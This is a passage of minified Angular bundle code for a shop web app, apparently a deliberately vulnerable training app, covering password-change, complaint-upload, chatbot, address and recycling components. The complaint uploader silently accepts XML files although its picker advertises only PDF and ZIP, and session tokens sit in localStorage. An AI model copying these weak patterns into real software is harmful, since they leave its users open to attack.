(34,"mat-hint",13),t._uU(35),t.qZA(),t.YNc(36,Oa,2,0,"mat-error",8),t.YNc(37,Ua,2,0,"mat-error",8),t.qZA()(),t.TgZ(38,"button",17),t.NdJ("click",function(){return o.changePassword()}),t._UZ(39,"i",18),t._uU(40),t.ALo(41,"translate"),t.qZA()()()),2&e){const i=t.MAs(19),r=t.MAs(33);t.xp6(4),t.Q6J("hidden",!(o.confirmation&&!o.passwordControl.dirty&&!o.newPasswordControl.dirty&&!o.repeatNewPasswordControl.dirty)),t.xp6(1),t.hij(" ",o.confirmation," "),t.xp6(1),t.Q6J("hidden",!(o.error&&!o.passwordControl.dirty&&!o.newPasswordControl.dirty&&!o.repeatNewPasswordControl.dirty)),t.xp6(1),t.hij(" ",o.error," "),t.xp6(5),t.s9C("placeholder",t.lcZ(13,18,"MANDATORY_CURRENT_PASSWORD")),t.Q6J("formControl",o.passwordControl),t.xp6(2),t.Q6J("ngIf",o.passwordControl.invalid),t.xp6(4),t.Q6J("formControl",o.newPasswordControl),t.xp6(5),t.Oqu(t.xi3(24,20,"INVALID_PASSWORD_LENGTH",t.DdM(25,we))),t.xp6(3),t.hij("",(null==i.value?null:i.value.length)||0,"/40"),t.xp6(1),t.Q6J("ngIf",(null==o.newPasswordControl?null:o.newPasswordControl.invalid)&&(null==o.newPasswordControl?null:o.newPasswordControl.errors.required)),t.xp6(1),t.Q6J("ngIf",(null==o.newPasswordControl?null:o.newPasswordControl.invalid)&&((null==o.newPasswordControl?null:o.newPasswordControl.errors.minlength)||(null==o.newPasswordControl?null:o.newPasswordControl.errors.maxlength))),t.xp6(4),t.Q6J("formControl",o.repeatNewPasswordControl),t.xp6(3),t.hij("",(null==r.value?null:r.value.length)||0,"/20"),t.xp6(1),t.Q6J("ngIf",o.repeatNewPasswordControl.invalid&&o.repeatNewPasswordControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.repeatNewPasswordControl.invalid&&o.repeatNewPasswordControl.errors.notSame),t.xp6(1),t.Q6J("disabled",o.passwordControl.invalid||o.newPasswordControl.invalid||o.repeatNewPasswordControl.invalid),t.xp6(2),t.hij(" ",t.lcZ(41,23,"BTN_CHANGE")," ")}},dependencies:[h.O5,u.Pi,p.Wh,s.Fj,s.JJ,s.oH,f.TO,f.KE,f.bx,f.hX,x.lW,T.a8,B.Nt,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:25%}mat-form-field[_ngcontent-%COMP%]{padding-top:10px}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}button[_ngcontent-%COMP%]{margin-top:5px}#changeButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}"]}),n})();function Pa(n){return function(e){return n.value!==e.value?{notSame:!0}:null}}let Se=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Complaints"}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var te=c(162);const Na=["fileControl"],Ea=function(){return{type:"PDF, ZIP"}};function Ma(n,a){1&n&&(t.TgZ(0,"div",20),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n&&(t.xp6(1),t.hij("",t.xi3(2,1,"INVALID_FILE_TYPE",t.DdM(4,Ea))," "))}const Da=function(){return{size:"100 KB"}};function qa(n,a){1&n&&(t.TgZ(0,"div",20),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n&&(t.xp6(1),t.hij("",t.xi3(2,1,"INVALID_FILE_SIZE",t.DdM(4,Da))," "))}function Fa(n,a){1&n&&(t.TgZ(0,"mat-error"),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n&&(t.xp6(1),t.hij("",t.lcZ(2,1,"MANDATORY_MESSAGE")," "))}const Ba=function(){return{length:"160"}};O.vI.add(g.Yme);let Ra=(()=>{class n{constructor(e,o,i,r){this.userService=e,this.complaintService=o,this.formSubmitService=i,this.translate=r,this.customerControl=new s.p4({value:"",disabled:!0},[]),this.messageControl=new s.p4("",[s.kI.required,s.kI.maxLength(160)]),this.fileUploadError=void 0,this.uploader=new te.bA({url:P.N.hostServer+"/file-upload",authToken:`Bearer ${localStorage.getItem("token")}`,allowedMimeType:["application/pdf","application/xml","text/xml","application/zip","application/x-zip-compressed","multipart/x-zip"],maxFileSize:1e5}),this.userEmail=void 0,this.complaint=void 0}ngOnInit(){this.initComplaint(),this.uploader.onWhenAddingFileFailed=(e,o)=>{throw this.fileUploadError=o,new Error(`Error due to : ${o.name}`)},this.uploader.onAfterAddingFile=()=>{this.fileUploadError=void 0},this.uploader.onSuccessItem=()=>{this.saveComplaint(),this.uploader.clearQueue()},this.formSubmitService.attachEnterKeyHandler("complaint-form","submitButton",()=>{this.save()})}initComplaint(){this.userService.whoAmI().subscribe(e=>{this.complaint={},this.complaint.UserId=e.id,this.userEmail=e.email,this.customerControl.setValue(this.userEmail)},e=>{this.complaint=void 0,console.log(e)})}save(){this.uploader.queue[0]?(this.uploader.queue[0].upload(),this.fileControl.nativeElement.value=null):this.saveComplaint()}saveComplaint(){this.complaint.message=this.messageControl.value,this.complaintService.save(this.complaint).subscribe(e=>{this.translate.get("CUSTOMER_SUPPORT_COMPLAINT_REPLY",{ref:e.id}).subscribe(o=>{this.confirmation=o},o=>{this.confirmation=o}),this.initComplaint(),this.resetForm(),this.fileUploadError=void 0},e=>e)}resetForm(){this.messageControl.setValue(""),this.messageControl.markAsUntouched(),this.messageControl.markAsPristine(),this.fileControl.nativeElement.value=null}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(R),t.Y36(Se),t.Y36(rt),t.Y36(u.sK))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-complaint"]],viewQuery:function(e,o){if(1&e&&t.Gf(Na,7),2&e){let i;t.iGM(i=t.CRH())&&(o.fileControl=i.first)}},decls:39,vars:21,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["translate",""],[1,"confirmation",3,"hidden"],["class","error fileUploadError",4,"ngIf"],["id","complaint-form",1,"form-container"],["appearance","outline","color","accent"],["type","text","matInput","","aria-label","Text field for the mail address of the user",3,"formControl"],[1,"fas","fa-exclamation-circle"],["translate","",2,"margin-left","5px"],["id","complaintMessage","matAutosizeMinRows","4","matAutosizeMaxRows","4","matTextareaAutosize","","cols","50","maxlength","160","matInput","","aria-label","Field for entering the complaint",3,"formControl","placeholder"],["complaintMessage",""],[4,"ngIf"],["align","end"],[2,"margin-top","15px"],["for","file","translate",""],["ng2FileSelect","","id","file","type","file","accept",".pdf,.zip","aria-label","Input area for uploading a single invoice PDF or XML B2B order file or a ZIP archive containing multiple invoices or orders\\x3c!----\\x3e",2,"margin-left","10px",3,"uploader"],["fileControl",""],["type","submit","id","submitButton","mat-raised-button","","color","primary","aria-label","Button to send the complaint",3,"disabled","click"],[1,"material-icons"],[1,"error","fileUploadError"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"NAV_COMPLAIN"),t.qZA(),t.TgZ(4,"div",3),t._uU(5),t.qZA(),t.YNc(6,Ma,3,5,"div",4),t.YNc(7,qa,3,5,"div",4),t.TgZ(8,"div",5)(9,"mat-form-field",6)(10,"mat-label",2),t._uU(11,"LABEL_CUSTOMER"),t.qZA(),t._UZ(12,"input",7),t.qZA(),t.TgZ(13,"mat-form-field",6)(14,"mat-label",2),t._uU(15,"LABEL_MESSAGE"),t.qZA(),t.TgZ(16,"mat-hint",2),t._UZ(17,"i",8),t.TgZ(18,"em",9),t._uU(19),t.ALo(20,"translate"),t.qZA()(),t._UZ(21,"textarea",10,11),t.ALo(23,"translate"),t.YNc(24,Fa,3,3,"mat-error",12),t.TgZ(25,"mat-hint",13),t._uU(26),t.qZA()(),t.TgZ(27,"div",14)(28,"label",15),t._uU(29,"LABEL_INVOICE"),t.TgZ(30,"span"),t._uU(31,":"),t.qZA()(),t._UZ(32,"input",16,17),t.qZA()(),t.TgZ(34,"button",18),t.NdJ("click",function(){return o.save()}),t.TgZ(35,"i",19),t._uU(36," send "),t.qZA(),t._uU(37),t.ALo(38,"translate"),t.qZA()()()),2&e){const i=t.MAs(22);t.xp6(4),t.Q6J("hidden",!(o.confirmation&&!o.messageControl.dirty)),t.xp6(1),t.Oqu(o.confirmation),t.xp6(1),t.Q6J("ngIf",o.fileUploadError&&"mimeType"==o.fileUploadError.name),t.xp6(1),t.Q6J("ngIf",o.fileUploadError&&"fileSize"==o.fileUploadError.name),t.xp6(5),t.Q6J("formControl",o.customerControl),t.xp6(7),t.Oqu(t.xi3(20,13,"MAX_TEXTAREA_LENGTH",t.DdM(20,Ba))),t.xp6(2),t.s9C("placeholder",t.lcZ(23,16,"WRITE_MESSAGE_PLACEHOLDER")),t.Q6J("formControl",o.messageControl),t.xp6(3),t.Q6J("ngIf",o.messageControl.invalid&&(null==o.messageControl?null:o.messageControl.errors.required)),t.xp6(2),t.hij("",(null==i.value?null:i.value.length)||0,"/160"),t.xp6(6),t.Q6J("uploader",o.uploader),t.xp6(2),t.Q6J("disabled",o.messageControl.invalid||o.fileUploadError),t.xp6(3),t.hij(" ",t.lcZ(38,18,"BTN_SUBMIT")," ")}},dependencies:[h.O5,u.Pi,p.Wh,s.Fj,s.JJ,s.nD,s.oH,te.C6,f.TO,f.KE,f.bx,f.hX,x.lW,T.a8,B.Nt,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:30%}mat-form-field[_ngcontent-%COMP%]{padding-top:10px}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}#submitButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}"]}),n})(),ke=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/chatbot"}getChatbotStatus(){return this.http.get(this.host+"/status").pipe((0,C.U)(e=>e),(0,_.K)(e=>{throw e}))}getResponse(e,o){return this.http.post(this.host+"/respond",{action:e,query:o}).pipe((0,C.U)(i=>i),(0,_.K)(i=>{throw i}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();function Ya(n,a){if(1&n&&t._UZ(0,"img",16),2&n){const e=t.oxw(2);t.s9C("src",e.juicyImageSrc,t.LSH)}}function Ja(n,a){if(1&n&&t._UZ(0,"img",17),2&n){const e=t.oxw(2);t.s9C("src",e.profileImageSrc,t.LSH)}}function Qa(n,a){if(1&n&&(t.TgZ(0,"div",13),t.YNc(1,Ya,1,1,"img",14),t.YNc(2,Ja,1,1,"img",15),t.TgZ(3,"div"),t._uU(4),t.qZA()()),2&n){const e=a.$implicit;t.xp6(1),t.Q6J("ngIf","bot"==e.author),t.xp6(1),t.Q6J("ngIf","user"==e.author),t.xp6(1),t.Tol("user"==e.author?"speech-bubble-right":"speech-bubble-left"),t.xp6(1),t.hij(" ",e.body," ")}}const Ha=function(){return{chatbot:"juicy-chat-bot"}};O.vI.add(g.Yme);var pt=(()=>{return(n=pt||(pt={})).user="user",n.bot="bot",pt;var n})();let Ga=(()=>{class n{constructor(e,o,i,r,l){this.userService=e,this.chatbotService=o,this.cookieService=i,this.formSubmitService=r,this.translate=l,this.messageControl=new s.p4,this.messages=[],this.juicyImageSrc="assets/public/images/ChatbotAvatar.png",this.profileImageSrc="assets/public/images/uploads/default.svg",this.messageActions={response:"query",namequery:"setname"},this.currentAction=this.messageActions.response,this.chatScrollDownTimeoutId=null}ngOnDestroy(){this.chatScrollDownTimeoutId&&clearTimeout(this.chatScrollDownTimeoutId)}ngOnInit(){this.chatbotService.getChatbotStatus().subscribe(e=>{this.messages.push({author:pt.bot,body:e.body}),e.action&&(this.currentAction=this.messageActions[e.action])}),this.userService.whoAmI().subscribe(e=>{this.profileImageSrc=e.profileImage},e=>{console.log(e)})}handleResponse(e){if(this.messages.push({author:pt.bot,body:e.body}),this.currentAction=this.messageActions[e.action],e.token){localStorage.setItem("token",e.token);const o=new Date;o.setHours(o.getHours()+8),this.cookieService.put("token",e.token,{expires:o})}}sendMessage(){const e=this.messageControl.value;e&&(this.messages.push({author:pt.user,body:e}),this.messageControl.setValue(""),this.chatbotService.getChatbotStatus().subscribe(o=>{o.status||o.action?this.chatbotService.getResponse(this.currentAction,e).subscribe(i=>{this.handleResponse(i)}):this.messages.push({author:pt.bot,body:o.body}),this.chatScrollDownTimeoutId=setTimeout(()=>{const i=document.getElementById("chat-window");i.scrollTop=i.scrollHeight,this.chatScrollDownTimeoutId=null},250)}))}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(R),t.Y36(ke),t.Y36(I.N_),t.Y36(rt),t.Y36(u.sK))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-chatbot"]],decls:20,vars:13,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],[1,"powered-by"],["id","chat-container"],["id","chat-box"],["id","chat-window"],["class","message-container",4,"ngFor","ngForOf"],[1,"message-box-container"],[1,"form-wrapper"],["color","accent","appearance","outline"],["translate",""],["id","message-input","name","message","matInput","","aria-label","Text field for a chat message",3,"formControl","placeholder","keyup.enter"],["message",""],[1,"message-container"],["class","juicy-chat-bot-image",3,"src",4,"ngIf"],["class","profile-image",3,"src",4,"ngIf"],[1,"juicy-chat-bot-image",3,"src"],[1,"profile-image",3,"src"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1"),t._uU(3),t.ALo(4,"translate"),t.TgZ(5,"span",2),t._uU(6),t.ALo(7,"translate"),t.qZA()(),t.TgZ(8,"mat-card",3)(9,"mat-card",4)(10,"div",5),t.YNc(11,Qa,5,6,"div",6),t.qZA(),t.TgZ(12,"div",7)(13,"div",8)(14,"mat-form-field",9)(15,"mat-label",10),t._uU(16,"LABEL_MESSAGE"),t.qZA(),t.TgZ(17,"input",11,12),t.NdJ("keyup.enter",function(){return o.sendMessage()}),t.ALo(19,"translate"),t.qZA()()()()()()()()),2&e&&(t.xp6(3),t.hij("",t.lcZ(4,5,"SECTION_SUPPORT_CHAT")," "),t.xp6(3),t.hij("(",t.xi3(7,7,"LABEL_POWERED_BY_CHATBOT",t.DdM(12,Ha)),")"),t.xp6(5),t.Q6J("ngForOf",o.messages),t.xp6(6),t.s9C("placeholder",t.lcZ(19,10,"ASK_ME_ANYTHING_PLACEHOLDER")),t.Q6J("formControl",o.messageControl))},dependencies:[h.sg,h.O5,u.Pi,p.Wh,s.Fj,s.JJ,s.oH,f.KE,f.hX,T.a8,B.Nt,u.X$],styles:[\'mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:60%}mat-form-field[_ngcontent-%COMP%]{display:block;height:0;margin:auto;width:70%}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}#submitButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}#chat-container[_ngcontent-%COMP%]{box-shadow:none;display:flex;position:relative;width:95%}#chat-box[_ngcontent-%COMP%]{align-content:space-between;background-color:#0000004d;display:block;display:flex;flex-direction:column;height:650px;margin-left:auto;margin-right:auto;padding:0;width:80%}.form-wrapper[_ngcontent-%COMP%]{font-size:10px}#chat-window[_ngcontent-%COMP%]{height:90%;overflow-y:auto;padding:20px}#chat-window[_ngcontent-%COMP%] [_ngcontent-%COMP%]::-webkit-scrollbar{background:none;width:20px}#chat-window[_ngcontent-%COMP%] [_ngcontent-%COMP%]::-webkit-scrollbar-track{background:none}#chat-window[_ngcontent-%COMP%] [_ngcontent-%COMP%]::-webkit-scrollbar-thumb{background:#f00;border-radius:10px}#chat-window[_ngcontent-%COMP%] [_ngcontent-%COMP%]::-webkit-scrollbar-thumb:hover{background:#b30000}.message-box-container[_ngcontent-%COMP%]{border-top:solid 1px #fff;height:10%;padding-top:15px;width:auto}.message-container[_ngcontent-%COMP%]{height:auto;margin-right:25px;overflow:hidden;width:auto}.speech-bubble-right[_ngcontent-%COMP%]{background:rgb(84,110,122);border-radius:4px;float:right;font-size:15px;line-height:1.3;margin-bottom:25px;max-width:500px;padding:15px;position:relative}.speech-bubble-right[_ngcontent-%COMP%]:after{border-left:20px solid transparent;border-top:20px solid rgb(84,110,122);bottom:-20px;content:"";position:absolute;right:20px}.speech-bubble-left[_ngcontent-%COMP%]{background:rgb(84,110,122);border-radius:4px;float:left;font-size:15px;line-height:1.3;margin-bottom:25px;max-width:500px;padding:15px;position:relative}.speech-bubble-left[_ngcontent-%COMP%]:after{border-right:20px solid transparent;border-top:20px solid rgb(84,110,122);bottom:-20px;content:"";left:20px;position:absolute}.juicy-chat-bot-image[_ngcontent-%COMP%]{float:left;height:70px;margin-top:20px}.profile-image[_ngcontent-%COMP%]{border-radius:50%;float:right;height:40px;margin-left:10px;margin-top:20px}.powered-by[_ngcontent-%COMP%]{font-size:xx-small}\']}),n})(),Ie=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Recycles"}find(e){return this.http.get(this.host+"/",{params:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),mt=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Addresss"}get(){return this.http.get(this.host).pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}getById(e){return this.http.get(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}put(e,o){return this.http.put(`${this.host}/${e}`,o).pipe((0,C.U)(i=>i.data),(0,_.K)(i=>{throw i}))}del(e){return this.http.delete(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var Oe=c(5017),nt=c(1948);function ja(n,a){1&n&&(t.TgZ(0,"h1",5),t._uU(1,"TITLE_SELECT_ADDRESS"),t.qZA())}function Ka(n,a){1&n&&(t.TgZ(0,"h1",5),t._uU(1,"MY_SAVED_ADRESSES"),t.qZA())}function Wa(n,a){1&n&&t._UZ(0,"mat-header-cell",20)}function za(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",20)(1,"mat-radio-button",21),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.emitSelectionToParent(r.id))})("change",function(i){const l=t.CHM(e).$implicit,m=t.oxw(2);return t.KtG(i?m.selection.toggle(l):null)}),t.qZA()()}if(2&n){const e=a.$implicit,o=t.oxw(2);t.xp6(1),t.Q6J("checked",o.selection.isSelected(e))}}function $a(n,a){1&n&&t._UZ(0,"mat-header-cell",22)}function Va(n,a){if(1&n&&(t.TgZ(0,"mat-cell",20),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij("",null==e?null:e.fullName," ")}}function Xa(n,a){1&n&&t._UZ(0,"mat-header-cell",22)}function ti(n,a){if(1&n&&(t.TgZ(0,"mat-cell",23),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.HOy(" ",null==e?null:e.streetAddress,", ",null==e?null:e.city,", ",null==e?null:e.state,", ",null==e?null:e.zipCode," ")}}function ei(n,a){1&n&&t._UZ(0,"mat-header-cell",22)}function ni(n,a){if(1&n&&(t.TgZ(0,"mat-cell",20),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.Oqu(null==e?null:e.country)}}function oi(n,a){1&n&&t._UZ(0,"mat-header-cell",22)}function ai(n,a){if(1&n&&(t.TgZ(0,"mat-cell",24)(1,"button",25),t._UZ(2,"i",26),t.qZA()()),2&n){const e=a.$implicit;t.xp6(1),t.MGl("routerLink","/address/edit/",e.id,"")}}function ii(n,a){1&n&&t._UZ(0,"mat-header-cell",22)}function ri(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",24)(1,"button",27),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.deleteAddress(r.id))}),t._UZ(2,"i",28),t.qZA()()}}function si(n,a){1&n&&t._UZ(0,"mat-header-row")}function li(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-row",29),t.NdJ("click",function(){const i=t.CHM(e),r=i.$implicit,l=i.$implicit,m=t.oxw(2);return m.selection.toggle(r),t.KtG(m.emitSelectionToParent(l.id))}),t.qZA()}}function ci(n,a){if(1&n&&(t.TgZ(0,"mat-table",6),t.ynx(1,7),t.YNc(2,Wa,1,0,"mat-header-cell",8),t.YNc(3,za,2,1,"mat-cell",9),t.BQk(),t.ynx(4,10),t.YNc(5,$a,1,0,"mat-header-cell",11),t.YNc(6,Va,2,1,"mat-cell",9),t.BQk(),t.ynx(7,12),t.YNc(8,Xa,1,0,"mat-header-cell",11),t.YNc(9,ti,2,4,"mat-cell",13),t.BQk(),t.ynx(10,14),t.YNc(11,ei,1,0,"mat-header-cell",11),t.YNc(12,ni,2,1,"mat-cell",9),t.BQk(),t.ynx(13,15),t.YNc(14,oi,1,0,"mat-header-cell",11),t.YNc(15,ai,3,1,"mat-cell",16),t.BQk(),t.ynx(16,17),t.YNc(17,ii,1,0,"mat-header-cell",11),t.YNc(18,ri,3,0,"mat-cell",16),t.BQk(),t.YNc(19,si,1,0,"mat-header-row",18),t.YNc(20,li,1,0,"mat-row",19),t.qZA()),2&n){const e=t.oxw();t.Q6J("dataSource",e.dataSource),t.xp6(19),t.Q6J("matHeaderRowDef",e.displayedColumns),t.xp6(1),t.Q6J("matRowDefColumns",e.displayedColumns)}}function ui(n,a){1&n&&(t.TgZ(0,"div",30)(1,"button",31)(2,"mat-icon"),t._uU(3," add "),t.qZA(),t.TgZ(4,"span",5),t._uU(5,"ADD_NEW_ADDRESS"),t.qZA()()())}function pi(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",32),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.chooseAddress())}),t.TgZ(1,"mat-icon"),t._uU(2," navigate_next "),t.qZA(),t.TgZ(3,"span",5),t._uU(4,"LABEL_CONTINUE"),t.qZA()()}if(2&n){const e=t.oxw();t.Q6J("disabled",void 0===e.addressId)}}O.vI.add(D.Xc,D.I7);let ee=(()=>{class n{constructor(e,o,i,r,l){this.addressService=e,this.translate=o,this.router=i,this.ngZone=r,this.snackBarHelperService=l,this.emitSelection=new t.vpe,this.allowEdit=!1,this.addNewAddressDiv=!0,this.showNextButton=!1,this.addressId=void 0,this.displayedColumns=["Name","Address","Country"],this.selection=new Oe.Ov(!1,[]),this.addressExist=!1}ngOnInit(){this.allowEdit?this.displayedColumns.push("Edit","Remove"):this.displayedColumns.unshift("Selection"),this.load()}load(){this.addressService.get().subscribe(e=>{this.addressExist=e.length,this.storedAddresses=e,this.dataSource=new d.by(this.storedAddresses)},e=>{this.snackBarHelperService.open(e.error?.error,"errorBar"),console.log(e)})}emitSelectionToParent(e){this.selection.hasValue()?(this.emitSelection.emit(e),this.addressId=e):(this.emitSelection.emit(void 0),this.addressId=void 0)}chooseAddress(){var e=this;sessionStorage.setItem("addressId",this.addressId),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/delivery-method"])}))}deleteAddress(e){this.addressService.del(e).subscribe(()=>{this.error=null,this.translate.get("ADDRESS_REMOVED").subscribe(o=>{this.snackBarHelperService.open(o,"confirmBar")},o=>{this.snackBarHelperService.open(o,"confirmBar")}),this.load()},o=>{this.snackBarHelperService.open(o.error?.error,"errorBar"),console.log(o)})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(mt),t.Y36(u.sK),t.Y36(U.F0),t.Y36(t.R0b),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-address"]],inputs:{allowEdit:"allowEdit",addNewAddressDiv:"addNewAddressDiv",showNextButton:"showNextButton"},outputs:{emitSelection:"emitSelection"},decls:6,vars:7,consts:[[1,"mat-elevation-z6"],["translate","",4,"ngIf"],[3,"dataSource",4,"ngIf"],["style","margin-top: 20px;",4,"ngIf"],["mat-raised-button","","mat-button","","class","btn btn-next","color","primary","aria-label","Proceed to payment selection",3,"disabled","click",4,"ngIf"],["translate",""],[3,"dataSource"],["matColumnDef","Selection"],["fxFlex","20%",4,"matHeaderCellDef"],["fxFlex","20%",4,"matCellDef"],["matColumnDef","Name"],["style","display: none;",4,"matHeaderCellDef"],["matColumnDef","Address"],["fxFlex","40%",4,"matCellDef"],["matColumnDef","Country"],["matColumnDef","Edit"],["fxflex","10%",4,"matCellDef"],["matColumnDef","Remove"],[4,"matHeaderRowDef"],[3,"click",4,"matRowDef","matRowDefColumns"],["fxFlex","20%"],[3,"checked","click","change"],[2,"display","none"],["fxFlex","40%"],["fxflex","10%"],["mat-icon-button","",3,"routerLink"],[1,"far","fa-edit"],["mat-icon-button","",3,"click"],[1,"far","fa-trash-alt"],[3,"click"],[2,"margin-top","20px"],["mat-raised-button","","mat-button","","color","primary","aria-label","Add a new address","routerLink","/address/create",1,"btn","btn-new-address"],["mat-raised-button","","mat-button","","color","primary","aria-label","Proceed to payment selection",1,"btn","btn-next",3,"disabled","click"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0),t.YNc(1,ja,2,0,"h1",1),t.YNc(2,Ka,2,0,"h1",1),t.YNc(3,ci,21,3,"mat-table",2),t.YNc(4,ui,6,0,"div",3),t.YNc(5,pi,5,1,"button",4),t.qZA()),2&e&&(t.ekj("div-boundary",!o.addNewAddressDiv),t.xp6(1),t.Q6J("ngIf",o.showNextButton),t.xp6(1),t.Q6J("ngIf",!o.showNextButton),t.xp6(1),t.Q6J("ngIf",o.addressExist),t.xp6(1),t.Q6J("ngIf",o.addNewAddressDiv),t.xp6(1),t.Q6J("ngIf",o.showNextButton))},dependencies:[h.O5,U.rH,u.Pi,p.yH,F.Hw,x.lW,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.ge,d.ev,d.XQ,d.Gk,T.a8,nt.U0],styles:[".btn-new-address[_ngcontent-%COMP%]{display:block;margin-left:0;margin-right:auto}.btn-next[_ngcontent-%COMP%]{display:block;margin-left:auto;margin-right:0;margin-top:-37px}mat-header-row[_ngcontent-%COMP%]{min-height:0!important}.heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.2);font-size:x-large}.heading-text[_ngcontent-%COMP%]{justify-content:center;padding:12px 20px}.div-boundary[_ngcontent-%COMP%]{border:1px solid rgba(255,255,255,.3);border-radius:5px;box-shadow:0 0!important}"]}),n})();var Et=c(9602);const di=["addressComp"];function mi(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_QUANTITY "),t.qZA())}const gi=function(){return{range:"10-1000"}};function hi(n,a){1&n&&(t.TgZ(0,"mat-error",21),t._uU(1,"INVALID_QUANTITY "),t.qZA()),2&n&&t.Q6J("translateParams",t.DdM(1,gi))}function _i(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"INVALID_DATE"),t.qZA())}function fi(n,a){if(1&n&&(t.TgZ(0,"mat-form-field",22)(1,"mat-label",2),t._uU(2,"LABEL_PICKUP_DATE"),t.qZA(),t._UZ(3,"input",23)(4,"mat-datepicker-toggle",24)(5,"mat-datepicker",null,25),t.YNc(7,_i,2,0,"mat-error",7),t.qZA()),2&n){const e=t.MAs(6),o=t.oxw();t.xp6(3),t.Q6J("formControl",o.pickUpDateControl)("matDatepicker",e),t.xp6(1),t.Q6J("for",e),t.xp6(3),t.Q6J("ngIf",o.pickUpDateControl.invalid)}}function Ci(n,a){if(1&n&&(t.TgZ(0,"mat-checkbox",26),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n){const e=t.oxw();t.Q6J("formControl",e.pickup),t.xp6(1),t.hij("",t.lcZ(2,2,"REQUEST_PICKUP")," ")}}O.vI.add(g.XCy);let vi=(()=>{class n{constructor(e,o,i,r,l,m){this.recycleService=e,this.userService=o,this.configurationService=i,this.formSubmitService=r,this.translate=l,this.snackBarHelperService=m,this.requestorControl=new s.p4({value:"",disabled:!0},[]),this.recycleQuantityControl=new s.p4("",[s.kI.required,s.kI.min(10),s.kI.max(1e3)]),this.pickUpDateControl=new s.p4,this.pickup=new s.p4(!1),this.recycle={},this.addressId=void 0}ngOnInit(){this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.application?.recyclePage&&(this.topImage=`assets/public/images/products/${e.application.recyclePage.topProductImage}`,this.bottomImage=`assets/public/images/products/${e.application.recyclePage.bottomProductImage}`)},e=>{console.log(e)}),this.initRecycle(),this.findAll(),this.formSubmitService.attachEnterKeyHandler("recycle-form","recycleButton",()=>{this.save()})}initRecycle(){this.userService.whoAmI().subscribe(e=>{this.recycle={},this.recycle.UserId=e.id,this.userEmail=e.email,this.requestorControl.setValue(this.userEmail)},e=>{console.log(e)})}save(){this.recycle.AddressId=this.addressId,this.recycle.quantity=this.recycleQuantityControl.value,this.pickup.value&&(this.recycle.isPickUp=this.pickup.value,this.recycle.date=this.pickUpDateControl.value),this.recycleService.save(this.recycle).subscribe(e=>{e.isPickup?this.translate.get("CONFIRM_RECY